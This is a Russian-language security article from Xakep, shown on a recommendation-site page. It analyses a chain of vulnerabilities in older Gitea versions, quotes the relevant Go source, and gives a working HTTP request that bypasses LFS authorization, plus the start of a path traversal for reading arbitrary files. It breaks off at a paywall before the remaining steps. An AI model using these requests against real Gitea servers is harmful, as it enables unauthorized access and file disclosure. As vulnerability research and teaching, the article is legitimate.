html текст
All interests
  • All interests
  • Design
  • Food
  • Gadgets
  • Humor
  • News
  • Photo
  • Travel
  • Video
Click to see the next recommended page
Like it
Don't like
Add to Favorites

По цепочке уязвимостей. Получаем полный контроль над Gitea с нуля

В этой статье я расскажу о нескольких уязвимостях в продукте Gitea. Это опенсорсная альтернатива GitHub, то есть сервис для работы с репозиториями Git. Основное отличие этого дистрибутива — в простоте настройки и использования: ты получаешь рабочую систему буквально в пару команд. Мы же пройдемся по цепочке уязвимостей, которая в конечном счете приведет к полной компрометации системы с возможностью выполнения произвольных команд.

INFO

Gitea — это форк небезызвестной Gogs, написанный на языке Go.

Моя основная система — это Windows, поэтому на ней и будем разбирать примеры. Для запуска своего Git-сервиса достаточно просто скачать нужную версию и выполнить одну команду.

Уязвимы все версии до 1.4-rc3 включительно. Я решил использовать версию 1.3.3. Загрузим ее с официального сайта. После этого создадим отдельную папку, в которую перекинем скачанный файл. Дальше из командной строки выполняем следующие команды.

Запуск Gitea на Windows
Запуск Gitea на Windows

После запуска приложения в текущей директории будут созданы конфигурационные файлы. Переходим по адресу http://localhost:3000 и попадаем на экран первоначальной настройки системы. Тут все просто, и можно оставить все настройки по умолчанию. Только в качестве используемой БД я выбрал SQLite 3, потому что не хочу заморачиваться с отдельным сервером.

Начальная настройка Gitea
Начальная настройка Gitea

После базовой настройки остается только создать аккаунт и тестовый репозиторий.

Создание пользователя в Gitea
Создание пользователя в Gitea

Если ты хочешь использовать Linux в качестве подопытной системы, то уязвимый докер-контейнер можно поднять такой командой:

$ docker run -d --rm -p 3000:3000 --name=gitea vulhub/gitea:1.4.0

Остальные шаги будут аналогичны установке под Windows.

 
Первое звено цепочки. Path Traversal

Первая уязвимость в цепочке связана с обходом авторизации. Здесь стоит рассказать о Git LFS. Это специальный контейнер, который создан для хранения очень больших файлов Large File System (LFS). Такие файлы хранятся вне основной директории репозитория Git, а в нем находятся только файлы индекса. При первоначальной конфигурации Gitea можно указать путь этой папки (опция LFS Root Path), по умолчанию она установлена в data/lfs для Windows-версии сервера и /data/gitea/lfs/ для Linux.

Вся логика для работы с HTTP-запросами к LFS описана в файле modules/lfs/server.go. Посмотрим на обработчик POST-запросов, служащий для отправки информации о больших файлах.

/modules/lfs/server.go
199: func PostHandler(ctx *context.Context) {
200:
201:    if !setting.LFS.StartServer {
202:        writeStatus(ctx, 404)
203:        return
204:    }
205:
206:    if !MetaMatcher(ctx.Req) {
207:        writeStatus(ctx, 400)
208:        return
209:    }
...
221:    if !authenticate(ctx, repository, rv.Authorization, true) {
222:        requireAuth(ctx)
223:    }

Обрати внимание на строку 221: здесь происходит проверка прав текущего пользователя на репозиторий, к которому будут привязываться загруженные файлы.

/modules/lfs/server.go
480: func authenticate(ctx *context.Context, repository *models.Repository, authorization string, requireWrite bool) bool {
...
491:    if ctx.IsSigned {
492:        accessCheck, _ := models.HasAccess(ctx.User.ID, repository, accessMode)
493:        return accessCheck
494:    }
...
504:    if !strings.HasPrefix(authorization, "Basic ") {
505:        return false
506:    }
...
508:    c, err := base64.StdEncoding.DecodeString(strings.TrimPrefix(authorization, "Basic "))
509:    if err != nil {
510:        return false
511:    }
...
524:    if !userModel.ValidatePassword(password) {
525:        return false
526:    }
...
528:    accessCheck, _ := models.HasAccess(userModel.ID, repository, accessMode)
529:    return accessCheck

Если доступа у юзера нет или запрос вообще был отправлен неавторизованным анонимом, то вызывается requireAuth. Эта функция возвращает ответ со статусом 401.

/modules/lfs/server.go
572: func requireAuth(ctx *context.Context) {
573:    ctx.Resp.Header().Set("WWW-Authenticate", "Basic realm=gitea-lfs")
574:    writeStatus(ctx, 401)
575: }

Однако PostHandler после этого не прекращает выполнение, так как отсутствует выход из функции с помощью оператора return, как это сделано в предыдущих проверках на строках 201 и 206. Из-за этого ошибка сохранения данных о файле все же произойдет.

/modules/lfs/server.go
225:    meta, err := models.NewLFSMetaObject(&models.LFSMetaObject{Oid: rv.Oid, Size: rv.Size, RepositoryID: repository.ID})
226:    if err != nil {
227:        writeStatus(ctx, 404)
228:        return
229:    }

Запомним этот трюк и посмотрим на структуру тела запроса, который сохраняет данные о большом файле.

{
    "Oid": "aabbccddeeff01234567890123456789012345678",
    "Size": 1000000
}

С size, я думаю, все понятно — это размер файла, а вот Oid — это ID объекта (ObjectID). Это SHA-хеш, контрольная сумма содержимого и заголовка файла. Если ты знаешь структуру репозитория, то в курсе, что существует папка objects, в которой и хранятся эти объекты. Подробнее о структуре можно прочитать, например, на git-scm.com.

Сейчас же нас интересует, что данный хеш — это часть пути, который будет формироваться при попытке доступа к нужному объекту. В Gitea они сохраняются в базе данных, в таблице lfs_meta_object.

/models/lfs.go
44: func NewLFSMetaObject(m *LFSMetaObject) (*LFSMetaObject, error) {
...
63:     if _, err = sess.Insert(m); err != nil {
64:         return nil, err
65:     }
66:
67:     return m, sess.Commit()
/models/lfs.go
09: type LFSMetaObject struct {
10:     ID           int64     `xorm:"pk autoincr"`
11:     Oid          string    `xorm:"UNIQUE(s) INDEX NOT NULL"`
12:     Size         int64     `xorm:"NOT NULL"`
13:     RepositoryID int64     `xorm:"UNIQUE(s) INDEX NOT NULL"`
14:     Existing     bool      `xorm:"-"`
15:     Created      time.Time `xorm:"-"`
16:     CreatedUnix  int64     `xorm:"created"`
17: }

При помощи следующего запроса мы создадим записи о наличии большого файла в репозитории.

POST /vh/test.git/info/lfs/objects HTTP/1.1
Host: gitea.vh:3000
Accept: application/vnd.git-lfs+json
Accept-Language: en
Content-Type: application/json
Content-Length: 151

{
    "Oid": "aabbccddeeff01234567890123456789012345678",
    "Size": 1000000
}
Запрос на создание записи о наличии большого файла в репозитории
Запрос на создание записи о наличии большого файла в репозитории

В таблице lfs_meta_object появилась новая запись. Чтобы в этом убедиться, я открою файл data/gitea.db. Как ты помнишь, в качестве БД я использую SQLite.

Просмотр записей в таблице lfs_meta_object
Просмотр записей в таблице lfs_meta_object

Обрати внимание, что статус ответа — 401 и первая строка — {"message": "Unauthorized"}. Но это не помешало оставшейся части кода выполниться и создать запись. Байпас в действии.

Обход авторизации при выполнении запросов к LFS
Обход авторизации при выполнении запросов к LFS

Предыдущим запросом мы сказали системе: «Хэй, Gitea, в репозитории test.git, принадлежащем юзеру vh, есть большой файл, за который отвечает объект с именем aabbcc…». Теперь по адресу http://gitea.vh:3000/vh/test/info/lfs/objects/aabbcc... у нас имеется интерфейс для работы с файлом. Разными запросами мы можем читать, удалять и изменять файл. В общем случае при обращении к этому объекту система будет пытаться найти его на диске и открыть.

Посмотрим на обработчик getContentHandler.

/modules/lfs/server.go
134: func getContentHandler(ctx *context.Context) {
135:    rv := unpack(ctx)
136:
137:    meta, _ := getAuthenticatedRepoAndMeta(ctx, rv, false)
...
155:    contentStore := &ContentStore{BasePath: setting.LFS.ContentPath}
156:    content, err := contentStore.Get(meta, fromByte)

Корневая директория LFS, в которой должны храниться все большие файлы, как мы уже знаем, указывается при начальной настройке системы. Она лежит в setting.LFS.ContentPath (LFS_CONTENT_PATH в ini-файле). Работа с ContentStore описана в файле modules/lfs/content_store.go. Посмотрим на метод Get.

/modules/lfs/content_store.go
26: func (s *ContentStore) Get(meta *models.LFSMetaObject, fromByte int64) (io.ReadCloser, error) {
27:     path := filepath.Join(s.BasePath, transformKey(meta.Oid))
28:
29:     f, err := os.Open(path)
30:     if err != nil {
31:         return nil, err
32:     }
33:     if fromByte > 0 {
34:         _, err = f.Seek(fromByte, os.SEEK_CUR)
35:     }
36:     return f, err
37: }

Его можно триггернуть при помощи GET-запроса.

$ curl -I -s "http://gitea.vh:3000/vh/test/info/lfs/objects/aabbccddeeff01234567890123456789012345678/any"

На 27-й строке формируется путь до файла. В ней используется путь к хранилищу LFS и Oid, переданный нами в запросе. Но сначала хеш попадает в функцию transformKey.

/modules/lfs/content_store.go
100: func transformKey(key string) string {
101:    if len(key) < 5 {
102:        return key
103:    }
104:
105:    return filepath.Join(key[0:2], key[2:4], key[4:])
106: }

Конструкция filepath.Join(key[0:2], key[2:4], key[4:]) приводит нашу строку к следующему виду:

aa/bb/ccddeeff01234567890123456789012345678

Это относительный путь файла, который нужно прочитать. Не забываем про BasePath, в итоге полный путь выглядит так:

  • для Windows:

    <директория_запуска_gitea>/data/lfs/aa/bb/ccddeeff01234567890123456789012345678
    
  • для Linux:

    /data/gitea/lfs/aa/bb/ccddeeff01234567890123456789012345678
    

Разумеется, такого файла сейчас не существует и наш запрос вернет код 404.

Попытка прочитать несуществующий объект LFS
Попытка прочитать несуществующий объект LFS

И все бы ничего, но вот только параметр Oid никак не проверяется при записи в базу. Значит, можно попробовать провернуть атаку типа path traversal, выйти из корневой директории LFS и прочитать любой файл. Давай проверим.

Продолжение доступно только подписчикам

Материалы из последних выпусков можно покупать отдельно только через два месяца после публикации. Чтобы продолжить чтение, необходимо купить подписку.

Подпишись на «Хакер» по выгодной цене!

Подписка позволит тебе в течение указанного срока читать ВСЕ платные материалы сайта. Мы принимаем оплату банковскими картами, электронными деньгами и переводами со счетов мобильных операторов. Подробнее о подписке

1 год

6890 р. Экономия 1400 рублей!

1 месяц

720 р. 25-30 статей в месяц

Уже подписан?
Читать дальше
Twitter
Одноклассники
Мой Мир

материал с xakep.ru

1

      Add

      You can create thematic collections and keep, for instance, all recipes in one place so you will never lose them.

      No images found
      Previous Next 0 / 0
      500
      • Advertisement
      • Animals
      • Architecture
      • Art
      • Auto
      • Aviation
      • Books
      • Cartoons
      • Celebrities
      • Children
      • Culture
      • Design
      • Economics
      • Education
      • Entertainment
      • Fashion
      • Fitness
      • Food
      • Gadgets
      • Games
      • Health
      • History
      • Hobby
      • Humor
      • Interior
      • Moto
      • Movies
      • Music
      • Nature
      • News
      • Photo
      • Pictures
      • Politics
      • Psychology
      • Science
      • Society
      • Sport
      • Technology
      • Travel
      • Video
      • Weapons
      • Web
      • Work
        Submit
        Valid formats are JPG, PNG, GIF.
        Not more than 5 Мb, please.
        30
        surfingbird.ru/site/
        RSS format guidelines
        500
        • Advertisement
        • Animals
        • Architecture
        • Art
        • Auto
        • Aviation
        • Books
        • Cartoons
        • Celebrities
        • Children
        • Culture
        • Design
        • Economics
        • Education
        • Entertainment
        • Fashion
        • Fitness
        • Food
        • Gadgets
        • Games
        • Health
        • History
        • Hobby
        • Humor
        • Interior
        • Moto
        • Movies
        • Music
        • Nature
        • News
        • Photo
        • Pictures
        • Politics
        • Psychology
        • Science
        • Society
        • Sport
        • Technology
        • Travel
        • Video
        • Weapons
        • Web
        • Work

          Submit

          Thank you! Wait for moderation.

          Тебе это не нравится?

          You can block the domain, tag, user or channel, and we'll stop recommend it to you. You can always unblock them in your settings.

          • XakepVideo
          • linux
          • приложения
          • домен xakep.ru

          Get a link

          Спасибо, твоя жалоба принята.

          Log on to Surfingbird

          Recover
          Sign up

          or

          Welcome to Surfingbird.com!

          You'll find thousands of interesting pages, photos, and videos inside.
          Join!

          • Personal
            recommendations

          • Stash
            interesting and useful stuff

          • Anywhere,
            anytime

          Do we already know you? Login or restore the password.

          Close

          Add to collection

             

            Facebook

            Ваш профиль на рассмотрении, обновите страницу через несколько секунд

            Facebook

            К сожалению, вы не попадаете под условия акции